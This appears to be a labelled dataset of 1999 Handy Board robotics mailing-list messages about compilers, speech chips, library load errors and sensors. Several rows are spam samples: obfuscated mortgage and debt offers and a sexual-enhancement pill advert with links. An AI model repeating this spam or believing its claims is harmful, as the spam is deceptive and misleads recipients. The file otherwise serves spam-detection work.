",Graeme Blackley ,"Tue, 26 Jan 1999 17:48:18 -0500",Re: Native 68hc11 C compilers,"Dear Graeme, Visit imagecraft.com ,they have got a C crosscompiler for the 6811.I believe that library functions for the handyboard are also available there. Yours sincerely, Nitin On Tue, 26 Jan 1999, Graeme Blackley wrote: > Is anyone using a compiler other than Interactive C? I like IC but want to get a bit closer to the metal. Being able to use a source level debugger would also be good. > > I've tried the Introl C compiler demo, and the it looks really good, but it seems to make assumptions about the location of the interrupt vectors (such as reset). > > Has anyone written libraries for the HB for use with any other compiler? > > ",0,0 Ipsofac@aol.com,handyboard@media.mit.edu,"Tue, 26 Jan 1999 08:02:13 -0500",Downloading,"Fred- I'm the one with the HB that always worked with System 7 Mac 11si-now decommisioned. On my OS 8.1 Mac 6500 with Appletalk turned off, useing printer port-I used to be able to use IC253 cosole if the P-code was already Downloaded elsewhere. This past Sunday I used a friend's Mac 475-it downloaded P code and worked. As I mentioned in a previous post-I have replaced the hex inverter chip and the2 of the memory chips-not the one under the ram. I brought this HB home-it will not redownload useing either MAC dowloader including the new MCL one. Now with 2.53-it will open 2.53 console but will not download any of the the libraries. They are not there, when I ist them. It will do simple math functions 2*2; etc. What gives????!!!!!! I know about cables-useing RESEDIT to change resources so the .22 libraries etc. I have the Commercial IC and it will not load that no how no way. Cappy Anderson, York ME ",0,0 Michael Toh ,handyboard@media.mit.edu,"Tue, 26 Jan 1999 21:45:44 +0800",navigation alorithm,"hi everyone, i just want to try my luck here. is there anyone out there has done a mircomouse navigation in a maze before? i would like to have some pointers on that. pls reply if there is a hope for me. thank u regards, michael ",0,0 Inge Sours ,handyboard@media.mit.edu,"Tue, 26 Jan 1999 05:17:32 -0700",Re: toxyt news,"D x ear Home O d wne f r , Your c c red d it doesn't matter to us ! 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I want to build a speech add-on to give general feedback like ""hello"", ""obstacle detected"" and other such things has any body tried and succeded? ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Chuck McManis ,"Steve Wall , handyboard@media.mit.edu","Tue, 26 Jan 1999 10:14:34 -0800",Re: Speech Synthesis?,"Yes, I hooked an SPO256 + CTS244 text to speech chip to a software UART. However, I don't reccomend this solution. If there are a small number of things you need the board to say, buy one of the ISD digital recorder chips (JameCo, JDR sell them as do others) and record your phrases, then select them with a couple of output pins. --Chuck At 12:37 PM 1/26/99 -0500, Steve Wall wrote: >Is there anyway to use the I/O of the handy board to control a speech >sythesis chip. I want to build a speech add-on to give general >feedback like ""hello"", ""obstacle detected"" and other such things has >any body tried and succeded? >___________________________________________________ >Steve Wall >Sir Sandford Fleming college >Swall@flemingc.on.ca ",0,0 Foo ,"Steve Wall , handyboard@media.mit.edu","Tue, 26 Jan 1999 14:06:02 -0500",Re: Speech Synthesis?,"I just finished an add on for my robot that involves just that. Radio shack used to sell the SPO256 speech syntetizer IC along with another companion chip called the text to speech processor CTS256-AL. To put it simply you send it a string of characters you want spoken serially then the chip does the rest. The bad news is the IC are discontinued! You might want to try to see if anybody on the newsgroups has a CTS256-AL text to speech processor to spare, that's how I got mine! BG Micro used to sell both but now they only sell the SPO256 for about $5. Get them while you can they are obsolete. Even without the text to speech processor you can still do it but you have to write your own software driver! Good luck. -----Original Message----- From: Steve Wall To: handyboard@media.mit.edu Date: Tuesday, January 26, 1999 1:36 PM Subject: Speech Synthesis? Is there anyway to use the I/O of the handy board to control a speech sythesis chip. I want to build a speech add-on to give general feedback like ""hello"", ""obstacle detected"" and other such things has any body tried and succeded? ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca",0,0 tone ,Ranjit Diol ,"Tue, 26 Jan 1999 20:11:44 +0100",Re: Sharp GP2D05," Ranjit Diol wrote: > I would like to use the Sharp GP2D05 infrared detection module with > HandyBoard. Any hints/suggestions/clues will be highly appreciated. > > I'm from the PIC generation and am a newbie to the HB and the 68HC11 > > Thanks in advance, > Ranjit Me too... I have just brought 4 of these, and I'm not sure how to connect them etc... there is an interface diagram in the little book I have... got it from www.acroname.com tone ",0,0 Kate ,"Steve Wall , handyboard@media.mit.edu","Tue, 26 Jan 1999 15:37:05 -0600",Re: Speech Synthesis? ,"A few years ago, ""back in the day..."" (that is, high school), I did a project that involved creating various vowel sounds as output for some bumper sensors -- different resistances gave different vowels, that kind of thing. The parts came from a cheap kit, though they are prettymuch available anywhere. I think I still have the schematics, at home, and the somewhat working model (dependent upon whether or not the siblings have used up the battery). They sell the kits through the catalogs that they sell chemicals and glass work and specimens, and other cool science stuff. The kit was about $10, and came with everything that was needed to do the project except solder and a soldering iron.It's also not exactly small, though in my humble (an not really educated in the manner of circuitry) opinion,someone who knows what they are doing would be able to make it smaller. (The project did fairly well in the science fair, at second place in the division. My project with the HB did much better at first place overall.) Haven't tried hooking it up to the HB and at this time, I don't plan to. It's more an old-fashioned approach than those darn ICs that got discontinued (two of the pre-recorded voice type I also may still have for the second part of that project). :) If I were to do it at the lab, I would probably just throw some male pins where the schematics have bumper sensors and plug it in in the motor ports or something like that, even though I probably shouldn't do that, and hope I ruin neither the board nor the circuit work by doing so. Not that I have plans to try it; I've been working on using the HB as an evolving mapping processor, in my copious amounts of spare time. -kate --- kate department of mechanical engineering department of mathematics iowa state university, class of '01 ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","""Fred G. Martin"" ","Tue, 26 Jan 1999 15:57:44 -0600",Re: Expansion Board Files ,"Fred; Here is the copy of expsens,c--------- At the lines in the hb was having problems with there was a small square figure at the starting point outside the comment*\\ and\\* for some reason. Any one else having a problem????? Thanks Terry ---------- > From: Fred G. Martin > To: Terry P. Gathright <669@worldnet.att.net> > Cc: handyboard@media.mit.edu > Subject: Re: Expansion Board Files > Date: Tuesday, January 26, 1999 6:10 AM > > terry -- > > please send an attached copy of expsens.c. there's got to be a bogus > character in there. > > did anyone else have problems? > > fred > > > In your message you said: > > Still unable to load the expansion board files. > > lib_hb.lis is in the libs. > > How do I do ic _config in windows? do I need to? > > System will run fine until I try to load the expansion board files. > > I downloaded hbexplib.zip,unziped,put all expansion-libs inc:\\ic\\libs. > > > > Synchronizing with board > > Pcode version 3.10 present on board > > Loading C:\\IC\\libs\\lib_hb.lis. > > Loading lib_hb.c. > > Loading C:\\IC\\libs\\lib_hb.icb. > > Loading C:\\IC\\libs\\libexpbd.icb. > > Loading C:\\IC\\libs\\expsens.c. > > Loading C:\\IC\\libs\\expservo.icb. > > Loading C:\\IC\\libs\\explego.icb. > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > Errors, unloading files > > Cannot find file lib_hb.lis or file lib_hb.lis > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > > Thanks to All; > > Terry G. > > ---------- > > > From: Terry P. Gathright <669@worldnet.att.net> > > > To: handyboard@media.mit.edu > > > Subject: Expansion Board Files > > > Date: Sunday, January 24, 1999 9:56 PM > > > > > > I have not got my expansion board files to load! > > > what am I not doing correctly? Help !! > > > > > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > > > c\\ic. > > > > > > In ic I have : > > > > > > expansion-libs > > > libs > > > ic.help > > > ic.ini > > > ic.win.exe > > > install.log > > > > > > I can load ic but not any of the expansion files. > > > I get the message: parse error close to token """". > > > I have tried putting some expansion-libs into libs but still > > > get the <""illegal>"" and unloads. > > > After swaping files around so much the board would not load > > > libs so I deleted all and starting over now. > > > > > > Please explain the correct procedure to get this bugger up and running. > > > The expansion board kit from Douglas Electronics was great although > > > instructions would have helped. > > > > > > Thanks in advance, > > > Terry Gathright > > > 669@worldnet.att.net > >",0,0 Bob Avanzato ,Michael Toh ,"Tue, 26 Jan 1999 17:23:38 -0500",Re: navigation alorithm,"Michael, A few sophomore engineering students here at Penn State Abington have built a micromouse from LEGO and a Handy Board. It has been entered into 2 micromouse contests sponsored by the Phila Chapter of the IEEE. It was quite challenging both in regards to h/w and s/w -- but it works! If you want to see pictures, a description of the algorithm and software, visit my robot page and follow link to student projects, then ""Javert"" robot to micromouse. The sophomores who developed the page built a fire-fighting robot (Trinity College) and also programmed the micromouse robot. It will all make sense once you get there. http://www.ecsel.psu.edu/~avanzato/robots/ -Bob At 09:45 PM 1/26/99 +0800, you wrote: >hi everyone, > >i just want to try my luck here. is there anyone out there has done a >mircomouse navigation in a maze before? i would like to have some pointers >on that. pls reply if there is a hope for me. > >thank u > >regards, >michael > > > > Robert Avanzato Associate Professor of Engineering Penn State Abington, 1600 Woodland Road, Abington, PA 19001 215-881-7358 (voice); 215-881-7623 (fax) email: RLA5@psu.edu; homepage: http://www.personal.psu.edu/rla5/ ",0,1 BMajik5127@aol.com,handyboard@media.mit.edu,"Tue, 26 Jan 1999 17:17:42 -0500",** voltage dropping and current limitting**," Hello out there, I have a 24 vdc supply, how can I drop the voltage to about 13 or 14 volts? Would I use resistors across the supply? Or what??? Thanks in advance. -Michael ",0,0 """Fred G. Martin"" ",Ipsofac@aol.com,"Tue, 26 Jan 1999 17:47:51 -0500",Re: Downloading ,"yes, there was a linefeed bug in the expsens.c file in hbexplib.zip. it should be fixed now. please re-download from the expansion board software page and try again. let us know if this fixes the problem. thanks a lot. fred In your message you said: > Fred- > I'm the one with the HB that always worked with System 7 Mac 11si-now > decommisioned. On my OS 8.1 Mac 6500 with Appletalk turned off, useing > printer port-I used to be able to use IC253 cosole if the P-code was already > Downloaded elsewhere. > > This past Sunday I used a friend's Mac 475-it downloaded P code and worked. > As I mentioned in a previous post-I have replaced the hex inverter chip and > the2 of the memory chips-not the one under the ram. > > I brought this HB home-it will not redownload useing either MAC dowloader > including the new MCL one. Now with 2.53-it will open 2.53 console but will > not download any of the the libraries. They are not there, when I ist them. > It will do simple math functions 2*2; etc. > > What gives????!!!!!! I know about cables-useing RESEDIT to change resources > so the .22 libraries etc. I have the Commercial IC and it will not load that > no how no way. Cappy Anderson, York ME > ",0,0 """Fred G. Martin"" ","""Terry P. Gathright"" <669@worldnet.att.net>","Tue, 26 Jan 1999 17:49:30 -0500",Re: Expansion Board Files ,"argh!@ my last email (which may arrive before this one) is in reply to this. repeating it in the proper context: yes, there was a linefeed bug in the expsens.c file in hbexplib.zip. it should be fixed now. please re-download from the expansion board asoftware page and try again. let us know if this fixes the problem. thanks a lot. fred In your message you said: > This is a multi-part message in MIME format. > > ------=_NextPart_000_01BE4944.9C4F5080 > Content-Type: text/plain; charset=ISO-8859-1 > Content-Transfer-Encoding: 7bit > > Fred; > Here is the copy of expsens,c--------- At the lines in the hb was having > problems with there was a small square figure at the starting point outside > the comment*\\ and\\* for some reason. > > Any one else having a problem????? > > Thanks Terry > > > > ---------- > > From: Fred G. Martin > > To: Terry P. Gathright <669@worldnet.att.net> > > Cc: handyboard@media.mit.edu > > Subject: Re: Expansion Board Files > > Date: Tuesday, January 26, 1999 6:10 AM > > > > terry -- > > > > please send an attached copy of expsens.c. there's got to be a bogus > > character in there. > > > > did anyone else have problems? > > > > fred > > > > > > In your message you said: > > > Still unable to load the expansion board files. > > > lib_hb.lis is in the libs. > > > How do I do ic _config in windows? do I need to? > > > System will run fine until I try to load the expansion board files. > > > I downloaded hbexplib.zip,unziped,put all expansion-libs inc:\\ic\\libs. > > > > > > Synchronizing with board > > > Pcode version 3.10 present on board > > > Loading C:\\IC\\libs\\lib_hb.lis. > > > Loading lib_hb.c. > > > Loading C:\\IC\\libs\\lib_hb.icb. > > > Loading C:\\IC\\libs\\libexpbd.icb. > > > Loading C:\\IC\\libs\\expsens.c. > > > Loading C:\\IC\\libs\\expservo.icb. > > > Loading C:\\IC\\libs\\explego.icb. > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > Errors, unloading files > > > Cannot find file lib_hb.lis or file lib_hb.lis > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > > > > Thanks to All; > > > Terry G. > > > ---------- > > > > From: Terry P. Gathright <669@worldnet.att.net> > > > > To: handyboard@media.mit.edu > > > > Subject: Expansion Board Files > > > > Date: Sunday, January 24, 1999 9:56 PM > > > > > > > > I have not got my expansion board files to load! > > > > what am I not doing correctly? Help !! > > > > > > > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > > > > c\\ic. > > > > > > > > In ic I have : > > > > > > > > expansion-libs > > > > libs > > > > ic.help > > > > ic.ini > > > > ic.win.exe > > > > install.log > > > > > > > > I can load ic but not any of the expansion files. > > > > I get the message: parse error close to token """". > > > > I have tried putting some expansion-libs into libs but still > > > > get the <""illegal>"" and unloads. > > > > After swaping files around so much the board would not load > > > > libs so I deleted all and starting over now. > > > > > > > > Please explain the correct procedure to get this bugger up and > running. > > > > The expansion board kit from Douglas Electronics was great although > > > > instructions would have helped. > > > > > > > > Thanks in advance, > > > > Terry Gathright > > > > 669@worldnet.att.net > > > > ------=_NextPart_000_01BE4944.9C4F5080 > Content-Type: application/octet-stream; name=""expsens.c"" > Content-Transfer-Encoding: 7bit > Content-Description: expsens.c (C File) > Content-Disposition: attachment; filename=""expsens.c"" > > /* expsens.c */ > /* > maintained by Fred Martin (fredm@media.mit.edu) > VERSION HISTORY > > June 12, 1998 fredm > first version created > */ > int analog(int port) > { > if (port < 2) { > printf(""Port is in use by expansion bd\\n""); > beep(); > return -1; > } else if (port < 7) { > return _raw_analog(port); > } else if (port < 16) { > return 255 * !digital(port); > } else if (port < 24) { > return _exp_analog((port-16)<<8); > } else if (port < 32) { > return _exp_analog(((port-24)<<8)+1); > } else { > printf(""Analog port out of range\\n""); > beep(); > return -1; > } > } > int digital(int port) > { > if (port < 7) /* analogs */ > return analog(port) < 128; > if (port == 7) /* TIC1 */ > return !(peek(0x1000) & 1); > if (port == 8) /* TIC2 */ > return !(peek(0x1000) & 2); > if (port == 9) /* PAI */ > return !(peek(0x1000) & 128); > if (port < 16) /* normal bit of 7fff as gotten from digital chip */ > return !((peek(0x7fff) >> (port - 10)) & 1); > if (port < 32) /* expbd analogs */ > return analog(port) < 128; > else { > printf(""Digital port outof range\\n""); > beep(); > return -1; > } > } > > ------=_NextPart_000_01BE4944.9C4F5080-- > >",0,0 """Fred G. Martin"" ",Ipsofac@aol.com,"Tue, 26 Jan 1999 17:59:24 -0500",Re: Downloading ,"OK, attempting to answer this one now. it is sounding to me like you have a problem with the serial on your 6500, not a problem with the handy board. try this. download Zterm (a terminal emulator) from: http://hyperarchive.lcs.mit.edu/HyperArchive/Archive/comm/term/zterm-101.hqx connect to the printer port (get the option by holding down the shift key while it boots up). then set your connection speed for 300 baud. now, type junk on the keyboard. does the HB's serial interface green light flash? if yes, then data is getting through. if not, then something's set up wrong on your mac, either HW or SW. report progress and we'll take it from there. fred In your message you said: > Fred- > I'm the one with the HB that always worked with System 7 Mac 11si-now > decommisioned. On my OS 8.1 Mac 6500 with Appletalk turned off, useing > printer port-I used to be able to use IC253 cosole if the P-code was already > Downloaded elsewhere. > > This past Sunday I used a friend's Mac 475-it downloaded P code and worked. > As I mentioned in a previous post-I have replaced the hex inverter chip and > the2 of the memory chips-not the one under the ram. > > I brought this HB home-it will not redownload useing either MAC dowloader > including the new MCL one. Now with 2.53-it will open 2.53 console but will > not download any of the the libraries. They are not there, when I ist them. > It will do simple math functions 2*2; etc. > > What gives????!!!!!! I know about cables-useing RESEDIT to change resources > so the .22 libraries etc. I have the Commercial IC and it will not load that > no how no way. Cappy Anderson, York ME > ",0,1 Andre Philippi ,Steve Wall ,"Tue, 26 Jan 1999 15:02:46 -0800",Re: Speech Synthesis? ,"Hi, I've been thinking to use a speech synthetizer for my robot as well, (mainly to warn humans to stay away from my toy), and a good solution that I found for the problem is: http://home.sprynet.com/sprynet/rcsys/v860x.htm And here is a decent eval of it: http://maverick.stanford.edu/~ssdl/projects/squirt1/subsystem/payload/voice/voice.html Enjoy, Andre Philippi. Steve Wall wrote: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii >Is there anyway to use the I/O of the handy board to control a speech >sythesis chip. I want to build a speech add-on to give general >feedback like ""hello"", ""obstacle detected"" and other such things has >any body tried and succeded? >___________________________________________________ >Steve Wall >Sir Sandford Fleming college >Swall@flemingc.on.ca > ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 Andre Philippi ,handyboard@media.mit.edu,"Tue, 26 Jan 1999 15:10:46 -0800",Serial Output Drivers for the Expansion Board,"Hi, Could *each* of the digital output pins on the Expansion Board be used as 9600 Baud Serial Output Drivers ? Could a higer baud rate be used with any of the digital output pins ? Could someone clever than me create the libraries and the documentation for it, please, please, please ? :) Just out of curiosity... Does anyone on this mailing list do assembler HB libraries for hire ? What are your rates? :) Best, Andre. ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 """Curt Mills, WE7U"" ",BMajik5127@aol.com,"Tue, 26 Jan 1999 15:15:13 -0800",Re: ** voltage dropping and current limitting**,"On Tue, 26 Jan 1999 BMajik5127@aol.com wrote: > I have a 24 vdc supply, how can I drop the voltage to about 13 or 14 volts? > Would I use resistors across the supply? Or what??? > Thanks in advance. Use an LM317T adjustable voltage regulator and 2 resistors. If you can't find a data sheet on it on the net somewhere, someone should be able to give you the formulas for figuring out the resistors. Find national semiconductor on the net and you should be able to find a datasheet there in .pdf format. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Ranjit Diol ,HandyBoard MIT ,"Tue, 26 Jan 1999 20:16:18 -0500",HB Expansion kit,"I received my HB expansion kit from Douglas Inc. (under $30 and fast delivery!). I've tried to gather as much documentation on its assembly. However, I have two questions: 1) The DOT on the resister pak's: Is that the end which goes in the SQUARE pad? 2) How many male strip connectors should there be at the bottom side of the exp. board and what outline on the top do they apply to? Any help will be appreciated. Thanks, Ron -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com website: http://www.compsys1.com ",0,1 Remi Desrosiers ,handyboard@media.mit.edu,"Tue, 26 Jan 1999 22:45:03 -0500",Re: a chip question,"At 16:12 99-01-25 -0800, you wrote: > >in the business that im at (ok a tv station) sometimes we find chips >(left in boxes and such) that we have absolutely no idea what they are >for, recently i found a chip ""N82S100N K84"" I suspect its from Signetics >which i am told has merged with philips semi, but at their website >theres no info on this particular chip. >If someone can tell me what this chip does i would be most grateful, >also is there a reliable chip directory on the web? > >thanks and regards > >bernardo mendez Try to get a hand on a nice little internet program named ""PartMiner"". very very very very useful :) .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . ",0,0 Ranjit Diol ,"""Terry P. Gathright"" <669@worldnet.att.net>","Tue, 26 Jan 1999 23:14:48 -0500",Re: Expansion Board Files,"I downloaded the revised files and found ""lib_hb.c"" failing to load. After opening it in a text editor, I found the same 'line feed' type of characters (square boxes). I deleted them and made sure that all the comment lines ( /*..........*/) were paired evenly. That solved the problem. The expansion board files all loaded correctly. ""Terry P. Gathright"" wrote: > Fred; > Here is the copy of expsens,c--------- At the lines in the hb was having > problems with there was a small square figure at the starting point outside > the comment*\\ and\\* for some reason. > > Any one else having a problem????? > > Thanks Terry > > ---------- > > From: Fred G. Martin > > To: Terry P. Gathright <669@worldnet.att.net> > > Cc: handyboard@media.mit.edu > > Subject: Re: Expansion Board Files > > Date: Tuesday, January 26, 1999 6:10 AM > > > > terry -- > > > > please send an attached copy of expsens.c. there's got to be a bogus > > character in there. > > > > did anyone else have problems? > > > > fred > > > > > > In your message you said: > > > Still unable to load the expansion board files. > > > lib_hb.lis is in the libs. > > > How do I do ic _config in windows? do I need to? > > > System will run fine until I try to load the expansion board files. > > > I downloaded hbexplib.zip,unziped,put all expansion-libs inc:\\ic\\libs. > > > > > > Synchronizing with board > > > Pcode version 3.10 present on board > > > Loading C:\\IC\\libs\\lib_hb.lis. > > > Loading lib_hb.c. > > > Loading C:\\IC\\libs\\lib_hb.icb. > > > Loading C:\\IC\\libs\\libexpbd.icb. > > > Loading C:\\IC\\libs\\expsens.c. > > > Loading C:\\IC\\libs\\expservo.icb. > > > Loading C:\\IC\\libs\\explego.icb. > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > Errors, unloading files > > > Cannot find file lib_hb.lis or file lib_hb.lis > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > > > > Thanks to All; > > > Terry G. > > > ---------- > > > > From: Terry P. Gathright <669@worldnet.att.net> > > > > To: handyboard@media.mit.edu > > > > Subject: Expansion Board Files > > > > Date: Sunday, January 24, 1999 9:56 PM > > > > > > > > I have not got my expansion board files to load! > > > > what am I not doing correctly? Help !! > > > > > > > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > > > > c\\ic. > > > > > > > > In ic I have : > > > > > > > > expansion-libs > > > > libs > > > > ic.help > > > > ic.ini > > > > ic.win.exe > > > > install.log > > > > > > > > I can load ic but not any of the expansion files. > > > > I get the message: parse error close to token """". > > > > I have tried putting some expansion-libs into libs but still > > > > get the <""illegal>"" and unloads. > > > > After swaping files around so much the board would not load > > > > libs so I deleted all and starting over now. > > > > > > > > Please explain the correct procedure to get this bugger up and > running. > > > > The expansion board kit from Douglas Electronics was great although > > > > instructions would have helped. > > > > > > > > Thanks in advance, > > > > Terry Gathright > > > > 669@worldnet.att.net > > > > > ------------------------------------------------------------------------ > Name: expsens.c > expsens.c Type: Plain Text (text/plain) > Encoding: 7bit > Description: expsens.c (C File) -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com website: http://www.compsys1.com",0,1 Cynefrith Loos ,handyboard@media.mit.edu,"Tue, 26 Jan 1999 16:38:40 -0700",Re: favaw news,"Dea g r Home O y wne d r , Your cr h ed c it doesn't matter to us ! If you O m WN real e d st o at t e and want I c MME z DIA t TE cas l h to s c pen d d ANY way you like, or simply wish to LO i WER your monthly pa v ym q ents by a third or more, here are the dea x ls we have T u ODA k Y : $ 4 f 88 , 000 at a 3 m , 67% fi g xed - ra v te $ 37 c 2 , 000 at a 3 , 9 c 0% va x ria a ble - ra c te $ 4 b 92 , 000 at a 3 , 2 c 1% in h teres x t - only $ 2 l 48 , 000 at a 3 , 3 b 6% f t ixed - rat g e $ 19 x 8 , 000 at a 3 , u 55% variabl e e - ra r te Hurr l y, when these d v eaIs are gone, they are gone ! Don't worry about app a ro n val, your cr e ed z it will not dis t qualif t y you ! V l isi v t our si d te Sincerely, Cynefrith Loos A i ppro i val Manager",1,1 Ranjit Diol ,"""Terry P. Gathright"" <669@worldnet.att.net>","Wed, 27 Jan 1999 00:00:55 -0500",Re: Expansion Board Files,"Yes, I had a similar problem. I then downloaded the revised files and found ""lib_hb.c"" failing to load also. After opening it in a text editor, I found the same 'line feed' type of characters (square boxes). I deleted them and made sure that all the comment lines ( /*..........*/) were paired evenly. That solved the problem. The expansion board files all loaded correctly. Ranjit ""Terry P. Gathright"" wrote: > Fred; > Here is the copy of expsens,c--------- At the lines in the hb was having > problems with there was a small square figure at the starting point outside > the comment*\\ and\\* for some reason. > > Any one else having a problem????? > > Thanks Terry > > ---------- > > From: Fred G. Martin > > To: Terry P. Gathright <669@worldnet.att.net> > > Cc: handyboard@media.mit.edu > > Subject: Re: Expansion Board Files > > Date: Tuesday, January 26, 1999 6:10 AM > > > > terry -- > > > > please send an attached copy of expsens.c. there's got to be a bogus > > character in there. > > > > did anyone else have problems? > > > > fred > > > > > > In your message you said: > > > Still unable to load the expansion board files. > > > lib_hb.lis is in the libs. > > > How do I do ic _config in windows? do I need to? > > > System will run fine until I try to load the expansion board files. > > > I downloaded hbexplib.zip,unziped,put all expansion-libs inc:\\ic\\libs. > > > > > > Synchronizing with board > > > Pcode version 3.10 present on board > > > Loading C:\\IC\\libs\\lib_hb.lis. > > > Loading lib_hb.c. > > > Loading C:\\IC\\libs\\lib_hb.icb. > > > Loading C:\\IC\\libs\\libexpbd.icb. > > > Loading C:\\IC\\libs\\expsens.c. > > > Loading C:\\IC\\libs\\expservo.icb. > > > Loading C:\\IC\\libs\\explego.icb. > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > Errors, unloading files > > > Cannot find file lib_hb.lis or file lib_hb.lis > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > > > > Thanks to All; > > > Terry G. > > > ---------- > > > > From: Terry P. Gathright <669@worldnet.att.net> > > > > To: handyboard@media.mit.edu > > > > Subject: Expansion Board Files > > > > Date: Sunday, January 24, 1999 9:56 PM > > > > > > > > I have not got my expansion board files to load! > > > > what am I not doing correctly? Help !! > > > > > > > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > > > > c\\ic. > > > > > > > > In ic I have : > > > > > > > > expansion-libs > > > > libs > > > > ic.help > > > > ic.ini > > > > ic.win.exe > > > > install.log > > > > > > > > I can load ic but not any of the expansion files. > > > > I get the message: parse error close to token """". > > > > I have tried putting some expansion-libs into libs but still > > > > get the <""illegal>"" and unloads. > > > > After swaping files around so much the board would not load > > > > libs so I deleted all and starting over now. > > > > > > > > Please explain the correct procedure to get this bugger up and > running. > > > > The expansion board kit from Douglas Electronics was great although > > > > instructions would have helped. > > > > > > > > Thanks in advance, > > > > Terry Gathright > > > > 669@worldnet.att.net > > > > > ------------------------------------------------------------------------ > Name: expsens.c > expsens.c Type: Plain Text (text/plain) > Encoding: 7bit > Description: expsens.c (C File) -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com website: http://www.compsys1.com",0,1 """Fred G. Martin"" ",Ranjit Diol ,"Wed, 27 Jan 1999 08:34:00 -0500",Re: HB Expansion kit ,"> 1) The DOT on the resister pak's: Is that the end which goes in the > SQUARE pad? yes. this was omitted from the assem instrcts and i've added it now. > 2) How many male strip connectors should there be at the bottom side of > the exp. board and what outline on the top do they apply to? look at the parts list for things that are referred to as ""xx-pin male header"". these have a part number; e.g., J3, a 14-pin male header. look for J3 on the PCB outline. it goes there. fred > > Any help will be appreciated. > > Thanks, > Ron > > > -- > Ranjit Diol - COMPSys > Dowagiac,Michigan > e-mail: rsdiol@mail.com > website: http://www.compsys1.com > > > ",0,1 John Vaughn ,"""Curt Mills, WE7U"" ","Wed, 27 Jan 1999 08:27:16 -0500",Re: ** voltage dropping and current limitting**," ""Curt Mills, WE7U"" wrote: > On Tue, 26 Jan 1999 BMajik5127@aol.com wrote: > > > I have a 24 vdc supply, how can I drop the voltage to about 13 or 14 volts? > > Would I use resistors across the supply? Or what??? > > Thanks in advance. > > Use an LM317T adjustable voltage regulator and 2 resistors. If you can't > find a data sheet on it on the net somewhere, someone should be able to > give you the formulas for figuring out the resistors. Find national > semiconductor on the net and you should be able to find a datasheet there > in .pdf format. Look in an older edition of The Art of Electronics by Horowitz and Hill. They use the LM317 as an example voltage regulator, explain the resistor values, and provide a data sheet in the appendix. This is a very useful reference book for all kinds of electronics. Don't leave home without it. John Vaughn Dept. of Math/Computer Science Hobart and William Smith Colleges Geneva, NY ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Wed, 27 Jan 1999 22:27:06 +0800",executing instructions quickly,"Just a quick question with regards to executing some instructions quickly. I'm using the pa7i9600.icb file to control a couple of mini SSCs, and I need to move 6 servos as close to simultaneously as I can. My question : is it faster to write a procedure and use 6 calls, ie move(1,100) move(2,100) move(3,100) .....etc or write it as a macro? thanks Adam PS Check out my Handyboard-driven hexapod at http://www.wantree.com.au/~oli ",0,1 Andrew Q Cantor ,handyboard@media.mit.edu,"Wed, 27 Jan 1999 12:32:20 +0200",give it to her properly fikeq,"SPUR-M Formula You can increase semen you produce five times Shoot five times your usual load and have powerful more satisfying orgasms. Superb results fully guaranteed by the industry leader - it is a money-back guarantee that has never been needed by any of our millions of customers! This is the secret formula used by top p0rn-stars for their huge effects! Copy and paste the following URL into your browser: http://vixeriwu.hqqg.com/sm/ fawisun zalim zisijucjiwizep pomowomi ",1,1 patcharin sumretsin ,handyboard@media.mit.edu,"Wed, 27 Jan 1999 07:48:13 -0800",sonar,"hello, I use program ""sonar.c"" and i have a problem. that is i run program (load sonar.c by ic.exe then type sonar_display(); ) to handy board,for measuring distance between 6"" - 35"" but the display (LCD )shows integer(number) between 0- 32767 ,that is ,the ultrasonic transducer can measure distance 0 to 6 feet . so i want to measure more 35"" or > 32767 ( in specification for ultrasonic 6500 module can measure 6'' to 35"" ) How can i do? i used to change int to long but IC program didn't allow.(illegal ) please tell me. thank you very much. yobem@hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 DebtHelp ,handyboard@media.mit.edu,,"May Statement Wed, 27 Jan 1999 16:29:49 +0300","Hello, You have been chosen to participate in an invitation only limited time event! Are you currently paying over 3% for your mortgage? STOP! We can help you lower that today! Answer only a few questions and we can give you an approval in under 30 seconds it's that simple! http://h8kk.com/do And stop fighting for lenders let them fight for you! Make them work for your business by giving you the lowest rates around! 230,000 loans are available for only 340/month! WE'RE PRACTICALLY GIVING AWAY MONEY! Think your credit is too bad to get a deal like this? THINK AGAIN! We will have you saving your money in no time! Are you ready to save your money? http://h8kk.com/do Regards, Gil Washburn",1,1 user ,handyboard@media.mit.edu,"Wed, 27 Jan 1999 11:19:43 -0800",Re: Native 68hc11 C compilers,"Graeme Blackley wrote: > > Is anyone using a compiler other than Interactive C? I like IC but want to get a bit closer to the metal. Being able to use a source level debugger would also be good. > > I've tried the Introl C compiler demo, and the it looks really good, but it seems to make assumptions about the location of the interrupt vectors (such as reset). > > Has anyone written libraries for the HB for use with any other compiler? 